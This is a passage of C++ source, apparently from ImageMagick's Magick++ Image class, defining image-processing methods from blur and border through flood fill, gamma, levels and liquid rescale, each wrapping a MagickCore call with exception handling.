BlackThresholdImage( image(), threshold_.c_str(), &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::blueShift ( const double factor_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = BlueShiftImage( constImage(), factor_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Blur image void Magick::Image::blur ( const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = BlurImage( constImage(), radius_, sigma_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::blurChannel ( const ChannelType channel_, const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); MagickCore::Image* newImage = BlurImage( constImage(), radius_, sigma_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Add border to image // Only uses width & height void Magick::Image::border( const Geometry &geometry_ ) { RectangleInfo borderInfo = geometry_; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = BorderImage( image(), &borderInfo, image()->compose, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::brightnessContrast ( const double brightness_, const double contrast_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); BrightnessContrastImage( image(), brightness_, contrast_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::brightnessContrastChannel ( const ChannelType channel_, const double brightness_, const double contrast_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); BrightnessContrastImage( image(), brightness_, contrast_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Extract channel from image void Magick::Image::channel ( const ChannelType channel_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = SeparateImage( image(), channel_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Set or obtain modulus channel depth void Magick::Image::channelDepth ( const size_t depth_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageDepth( image(), depth_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } size_t Magick::Image::channelDepth ( ) { size_t channel_depth; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); channel_depth=GetImageDepth( constImage(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return channel_depth; } // Charcoal-effect image void Magick::Image::charcoal ( const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = CharcoalImage( image(), radius_, sigma_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Chop image void Magick::Image::chop ( const Geometry &geometry_ ) { RectangleInfo chopInfo = geometry_; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = ChopImage( image(), &chopInfo, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // contains one or more color corrections and applies the correction to the // image. void Magick::Image::cdl ( const std::string &cdl_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); (void) ColorDecisionListImage( image(), cdl_.c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::clamp ( void ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ClampImage( image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::clampChannel ( const ChannelType channel_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); ClampImage( image(), &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::clut ( const Image &clutImage_, const PixelInterpolateMethod method ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ClutImage( image(), clutImage_.constImage(), method, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::clutChannel ( const ChannelType channel_, const Image &clutImage_, const PixelInterpolateMethod method) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); ClutImage( image(), clutImage_.constImage(), method, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Colorize void Magick::Image::colorize ( const unsigned int alphaRed_, const unsigned int alphaGreen_, const unsigned int alphaBlue_, const Color &penColor_ ) { if ( !penColor_.isValid() ) throwExceptionExplicit( OptionError, "Pen color argument is invalid" ); char blend[MaxTextExtent]; FormatLocaleString( blend, MaxTextExtent, "%u/%u/%u", alphaRed_, alphaGreen_, alphaBlue_ ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); PixelInfo target; GetPixelInfo(image(),&target); PixelInfo pixel=static_cast<PixelInfo>(penColor_); target.red=pixel.red; target.green=pixel.green; target.blue=pixel.blue; target.alpha=pixel.alpha; MagickCore::Image* newImage = ColorizeImage ( image(), blend, &target, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::colorize ( const unsigned int alpha_, const Color &penColor_ ) { colorize( alpha_, alpha_, alpha_, penColor_ ); } // Apply a color matrix to the image channels. The user supplied // matrix may be of order 1 to 6 (1x1 through 6x6). void Magick::Image::colorMatrix ( const size_t order_, const double *color_matrix_ ) { KernelInfo *kernel_info; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); kernel_info=AcquireKernelInfo((const char *) NULL); kernel_info->width=order_; kernel_info->height=order_; kernel_info->values=(MagickRealType *) AcquireAlignedMemory(order_, order_*sizeof(*kernel_info->values)); if (kernel_info->values != (MagickRealType *) NULL) { for (ssize_t i=0; i < (ssize_t) (order_*order_); i++) kernel_info->values[i]=color_matrix_[i]; MagickCore::Image* newImage = ColorMatrixImage( image(), kernel_info, &exceptionInfo ); replaceImage( newImage ); } kernel_info=DestroyKernelInfo(kernel_info); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Compare current image with another image // Sets meanErrorPerPixel, normalizedMaxError, and normalizedMeanError // in the current image. False is returned if the images are identical. bool Magick::Image::compare ( const Image &reference_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); Image ref = reference_; ref.modifyImage(); bool status = static_cast<bool>(IsImagesEqual(image(), ref.image(), &exceptionInfo)); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return status; } // Composite two images void Magick::Image::composite ( const Image &compositeImage_, const ssize_t xOffset_, const ssize_t yOffset_, const CompositeOperator compose_ ) { // Image supplied as compositeImage is composited with current image and // results in updating current image. modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); CompositeImage( image(), compositeImage_.constImage(), compose_, MagickFalse, xOffset_, yOffset_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::composite ( const Image &compositeImage_, const Geometry &offset_, const CompositeOperator compose_ ) { modifyImage(); ssize_t x = offset_.xOff(); ssize_t y = offset_.yOff(); size_t width = columns(); size_t height = rows(); ParseMetaGeometry ( static_cast<std::string>(offset_).c_str(), &x, &y, &width, &height ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); CompositeImage( image(), compositeImage_.constImage(), compose_, MagickFalse, x, y, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::composite ( const Image &compositeImage_, const GravityType gravity_, const CompositeOperator compose_ ) { modifyImage(); RectangleInfo geometry; SetGeometry(compositeImage_.constImage(), &geometry); GravityAdjustGeometry(columns(), rows(), gravity_, &geometry); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); CompositeImage( image(), compositeImage_.constImage(), compose_, MagickFalse, geometry.x, geometry.y, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Contrast image void Magick::Image::contrast ( const size_t sharpen_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ContrastImage ( image(), (MagickBooleanType) sharpen_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::contrastStretch ( const double black_point_, const double white_point_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ContrastStretchImage ( image(), black_point_, white_point_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::contrastStretchChannel ( const ChannelType channel_, const double black_point_, const double white_point_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); ContrastStretchImage ( image(), black_point_, white_point_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Convolve image. Applies a general image convolution kernel to the image. // order_ represents the number of columns and rows in the filter kernel. // kernel_ is an array of doubles representing the convolution kernel. void Magick::Image::convolve ( const size_t order_, const double *kernel_ ) { KernelInfo *kernel_info; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); kernel_info=AcquireKernelInfo((const char *) NULL); kernel_info->width=order_; kernel_info->height=order_; kernel_info->values=(MagickRealType *) AcquireAlignedMemory(order_, order_*sizeof(*kernel_info->values)); if (kernel_info->values != (MagickRealType *) NULL) { for (ssize_t i=0; i < (ssize_t) (order_*order_); i++) kernel_info->values[i]=kernel_[i]; MagickCore::Image* newImage = ConvolveImage ( image(), kernel_info, &exceptionInfo ); replaceImage( newImage ); } kernel_info=DestroyKernelInfo(kernel_info); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Crop image void Magick::Image::crop ( const Geometry &geometry_ ) { RectangleInfo cropInfo = geometry_; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = CropImage( image(), &cropInfo, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Cycle Color Map void Magick::Image::cycleColormap ( const ssize_t amount_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); CycleColormapImage( image(), amount_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::decipher ( const std::string &passphrase_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); DecipherImage( image(), passphrase_.c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Despeckle void Magick::Image::despeckle ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = DespeckleImage( image(), &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::deskew ( const double threshold_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = DeskewImage( image(), threshold_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Display image void Magick::Image::display( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); DisplayImages( imageInfo(), image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Distort image. distorts an image using various distortion methods, by // mapping color lookups of the source image to a new destination image // usally of the same size as the source image, unless 'bestfit' is set to // true. void Magick::Image::distort ( const DistortImageMethod method_, const size_t number_arguments_, const double *arguments_, const bool bestfit_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = DistortImage ( image(), method_, number_arguments_, arguments_, bestfit_ == true ? MagickTrue : MagickFalse, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Draw on image using single drawable void Magick::Image::draw ( const Magick::Drawable &drawable_ ) { modifyImage(); DrawingWand *wand = DrawAllocateWand( options()->drawInfo(), image()); if(wand) { drawable_.operator()(wand); DrawRender(wand); wand=DestroyDrawingWand(wand); } throwImageException(); } // Draw on image using a drawable list void Magick::Image::draw ( const std::list<Magick::Drawable> &drawable_ ) { modifyImage(); DrawingWand *wand = DrawAllocateWand( options()->drawInfo(), image()); if(wand) { for( std::list<Magick::Drawable>::const_iterator p = drawable_.begin(); p != drawable_.end(); p++ ) { p->operator()(wand); } DrawRender(wand); wand=DestroyDrawingWand(wand); } throwImageException(); } // Hilight edges in image void Magick::Image::edge ( const double radius_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = EdgeImage( image(), radius_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Emboss image (hilight edges) void Magick::Image::emboss ( const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = EmbossImage( image(), radius_, sigma_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::encipher ( const std::string &passphrase_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); EncipherImage( image(), passphrase_.c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Enhance image (minimize noise) void Magick::Image::enhance ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = EnhanceImage( image(), &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Equalize image (histogram equalization) void Magick::Image::equalize ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); EqualizeImage( image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Erase image to current "background color" void Magick::Image::erase ( void ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageBackgroundColor( image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Extends image as defined by the geometry. void Magick::Image::extent ( const Geometry &geometry_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); RectangleInfo extentInfo = geometry_; extentInfo.x = geometry_.xOff(); extentInfo.y = geometry_.yOff(); MagickCore::Image* newImage = ExtentImage ( image(), &extentInfo, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::extent ( const Geometry &geometry_, const Color &backgroundColor_ ) { backgroundColor ( backgroundColor_ ); extent ( geometry_ ); } void Magick::Image::extent ( const Geometry &geometry_, const GravityType gravity_ ) { RectangleInfo geometry; SetGeometry(image(), &geometry); geometry.width = geometry_.width(); geometry.height = geometry_.height(); GravityAdjustGeometry(image()->columns, image()->rows, gravity_, &geometry); extent ( geometry ); } void Magick::Image::extent ( const Geometry &geometry_, const Color &backgroundColor_, const GravityType gravity_ ) { backgroundColor ( backgroundColor_ ); extent ( geometry_, gravity_ ); } // Flip image (reflect each scanline in the vertical direction) void Magick::Image::flip ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = FlipImage( image(), &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Flood-fill color across pixels that match the color of the // target pixel and are neighbors of the target pixel. // Uses current fuzz setting when determining color match. void Magick::Image::floodFillColor ( const ssize_t x_, const ssize_t y_, const Magick::Color &fillColor_ ) { floodFillTexture( x_, y_, Image( Geometry( 1, 1), fillColor_ ) ); } void Magick::Image::floodFillColor ( const Geometry &point_, const Magick::Color &fillColor_ ) { floodFillTexture( point_, Image( Geometry( 1, 1), fillColor_) ); } // Flood-fill color across pixels starting at target-pixel and // stopping at pixels matching specified border color. // Uses current fuzz setting when determining color match. void Magick::Image::floodFillColor ( const ssize_t x_, const ssize_t y_, const Magick::Color &fillColor_, const Magick::Color &borderColor_ ) { floodFillTexture( x_, y_, Image( Geometry( 1, 1), fillColor_), borderColor_ ); } void Magick::Image::floodFillColor ( const Geometry &point_, const Magick::Color &fillColor_, const Magick::Color &borderColor_ ) { floodFillTexture( point_, Image( Geometry( 1, 1), fillColor_), borderColor_ ); } // Floodfill pixels matching color (within fuzz factor) of target // pixel(x,y) with replacement alpha value using method. void Magick::Image::floodFillAlpha ( const ssize_t x_, const ssize_t y_, const unsigned int alpha_, const PaintMethod method_ ) { modifyImage(); PixelInfo target; GetPixelInfo(image(),&target); PixelInfo pixel=static_cast<PixelInfo>(pixelColor(x_,y_)); target.red=pixel.red; target.green=pixel.green; target.blue=pixel.blue; target.alpha=alpha_; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); FloodfillPaintImage ( image(), options()->drawInfo(), // const DrawInfo *draw_info &target, static_cast<ssize_t>(x_), static_cast<ssize_t>(y_), method_ == FloodfillMethod ? MagickFalse : MagickTrue, &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Flood-fill texture across pixels that match the color of the // target pixel and are neighbors of the target pixel. // Uses current fuzz setting when determining color match. void Magick::Image::floodFillTexture ( const ssize_t x_, const ssize_t y_, const Magick::Image &texture_ ) { modifyImage(); // Set drawing pattern options()->fillPattern(texture_.constImage()); // Get pixel view Pixels pixels(*this); // Fill image Quantum *p = pixels.get(x_, y_, 1, 1 ); PixelInfo target; GetPixelInfo(constImage(),&target); target.red=GetPixelRed(constImage(),p); target.green=GetPixelGreen(constImage(),p); target.blue=GetPixelBlue(constImage(),p); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); if (p) FloodfillPaintImage ( image(), // Image *image options()->drawInfo(), // const DrawInfo *draw_info &target, // const MagickPacket target static_cast<ssize_t>(x_), // const ssize_t x_offset static_cast<ssize_t>(y_), // const ssize_t y_offset MagickFalse, // const PaintMethod method &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::floodFillTexture ( const Magick::Geometry &point_, const Magick::Image &texture_ ) { floodFillTexture( point_.xOff(), point_.yOff(), texture_ ); } // Flood-fill texture across pixels starting at target-pixel and // stopping at pixels matching specified border color. // Uses current fuzz setting when determining color match. void Magick::Image::floodFillTexture ( const ssize_t x_, const ssize_t y_, const Magick::Image &texture_, const Magick::Color &borderColor_ ) { modifyImage(); // Set drawing fill pattern options()->fillPattern(texture_.constImage()); PixelInfo target; GetPixelInfo(constImage(),&target); target.red=static_cast<PixelInfo>(borderColor_).red; target.green=static_cast<PixelInfo>(borderColor_).green; target.blue=static_cast<PixelInfo>(borderColor_).blue; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); FloodfillPaintImage ( image(), options()->drawInfo(), &target, static_cast<ssize_t>(x_), static_cast<ssize_t>(y_), MagickTrue, &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::floodFillTexture ( const Magick::Geometry &point_, const Magick::Image &texture_, const Magick::Color &borderColor_ ) { floodFillTexture( point_.xOff(), point_.yOff(), texture_, borderColor_ ); } // Flop image (reflect each scanline in the horizontal direction) void Magick::Image::flop ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = FlopImage( image(), &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Frame image void Magick::Image::frame ( const Geometry &geometry_ ) { FrameInfo info; info.x = static_cast<ssize_t>(geometry_.width()); info.y = static_cast<ssize_t>(geometry_.height()); info.width = columns() + ( static_cast<size_t>(info.x) << 1 ); info.height = rows() + ( static_cast<size_t>(info.y) << 1 ); info.outer_bevel = geometry_.xOff(); info.inner_bevel = geometry_.yOff(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = FrameImage( image(), &info, image()->compose, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::frame ( const size_t width_, const size_t height_, const ssize_t outerBevel_, const ssize_t innerBevel_ ) { FrameInfo info; info.x = static_cast<ssize_t>(width_); info.y = static_cast<ssize_t>(height_); info.width = columns() + ( static_cast<size_t>(info.x) << 1 ); info.height = rows() + ( static_cast<size_t>(info.y) << 1 ); info.outer_bevel = static_cast<ssize_t>(outerBevel_); info.inner_bevel = static_cast<ssize_t>(innerBevel_); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = FrameImage( image(), &info, image()->compose, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Fx image. Applies a mathematical expression to the image. void Magick::Image::fx ( const std::string expression ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = FxImage ( image(), expression.c_str(), &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::fx ( const std::string expression, const Magick::ChannelType channel ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel ); MagickCore::Image* newImage = FxImage ( image(), expression.c_str(), &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Gamma correct image void Magick::Image::gamma ( const double gamma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); GammaImage ( image(), gamma_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::gamma ( const double gammaRed_, const double gammaGreen_, const double gammaBlue_ ) { char gamma[MaxTextExtent + 1]; FormatLocaleString( gamma, MaxTextExtent, "%3.6f/%3.6f/%3.6f/", gammaRed_, gammaGreen_, gammaBlue_); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); GammaImage ( image(), atof(gamma), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Gaussian blur image // The number of neighbor pixels to be included in the convolution // mask is specified by 'width_'. The standard deviation of the // gaussian bell curve is specified by 'sigma_'. void Magick::Image::gaussianBlur ( const double width_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = GaussianBlurImage( image(), width_, sigma_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::gaussianBlurChannel ( const ChannelType channel_, const double width_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); MagickCore::Image* newImage = GaussianBlurImage( image(), width_, sigma_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Apply a color lookup table (Hald CLUT) to the image. void Magick::Image::haldClut ( const Image &clutImage_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); (void) HaldClutImage( image(), clutImage_.constImage(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Implode image void Magick::Image::implode ( const double factor_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = ImplodeImage( image(), factor_, image()->interpolate, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // implements the inverse discrete Fourier transform (IFT) of the image either // as a magnitude / phase or real / imaginary image pair. void Magick::Image::inverseFourierTransform ( const Image &phase_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = InverseFourierTransformImage( image(), phase_.constImage(), MagickTrue, &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::inverseFourierTransform ( const Image &phase_, const bool magnitude_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = InverseFourierTransformImage( image(), phase_.constImage(), magnitude_ == true ? MagickTrue : MagickFalse, &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Level image. Adjust the levels of the image by scaling the colors // falling between specified white and black points to the full // available quantum range. The parameters provided represent the // black, mid (gamma), and white points. The black point specifies // the darkest color in the image. Colors darker than the black point // are set to zero. Mid point (gamma) specifies a gamma correction to // apply to the image. White point specifies the lightest color in the // image. Colors brighter than the white point are set to the maximum // quantum value. The black and white point have the valid range 0 to // QuantumRange while gamma has a useful range of 0 to ten. void Magick::Image::level ( const double blackPoint_, const double whitePoint_, const double gamma_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); (void) LevelImage( image(), blackPoint_, whitePoint_, gamma_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::levelChannel ( const ChannelType channel_, const double blackPoint_, const double whitePoint_, const double gamma_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); (void) LevelImage( image(), blackPoint_, whitePoint_, gamma_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::levelColors ( const Color &blackColor_, const Color &whiteColor_, const bool invert_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); PixelInfo black; GetPixelInfo(image(), &black); PixelInfo pixel=static_cast<PixelInfo>(blackColor_); black.red=pixel.red; black.green=pixel.green; black.blue=pixel.blue; black.alpha=pixel.alpha; PixelInfo white; GetPixelInfo(image(), &white); pixel=static_cast<PixelInfo>(whiteColor_); white.red=pixel.red; white.green=pixel.green; white.blue=pixel.blue; white.alpha=pixel.alpha; (void) LevelImageColors( image(), &black, &white, invert_ == true ? MagickTrue : MagickFalse, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::levelColorsChannel ( const ChannelType channel_, const Color &blackColor_, const Color &whiteColor_, const bool invert_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); PixelInfo black; GetPixelInfo(image(), &black); PixelInfo pixel=static_cast<PixelInfo>(blackColor_); black.red=pixel.red; black.green=pixel.green; black.blue=pixel.blue; black.alpha=pixel.alpha; PixelInfo white; GetPixelInfo(image(), &white); pixel=static_cast<PixelInfo>(whiteColor_); white.red=pixel.red; white.green=pixel.green; white.blue=pixel.blue; white.alpha=pixel.alpha; ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); (void) LevelImageColors( image(), &black, &white, invert_ == true ? MagickTrue : MagickFalse, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::linearStretch ( const double blackPoint_, const double whitePoint_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); LinearStretchImage( image(), blackPoint_, whitePoint_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::liquidRescale ( const Geometry &geometry_ ) { ssize_t x = 0; ssize_t y = 0; size_t width = columns(); size_t height = rows(); ParseMetaGeometry( static_cast<std::string>(geometry_).c_str(), &x, &y, &width, &height ); modifyImage(); ExceptionInfo 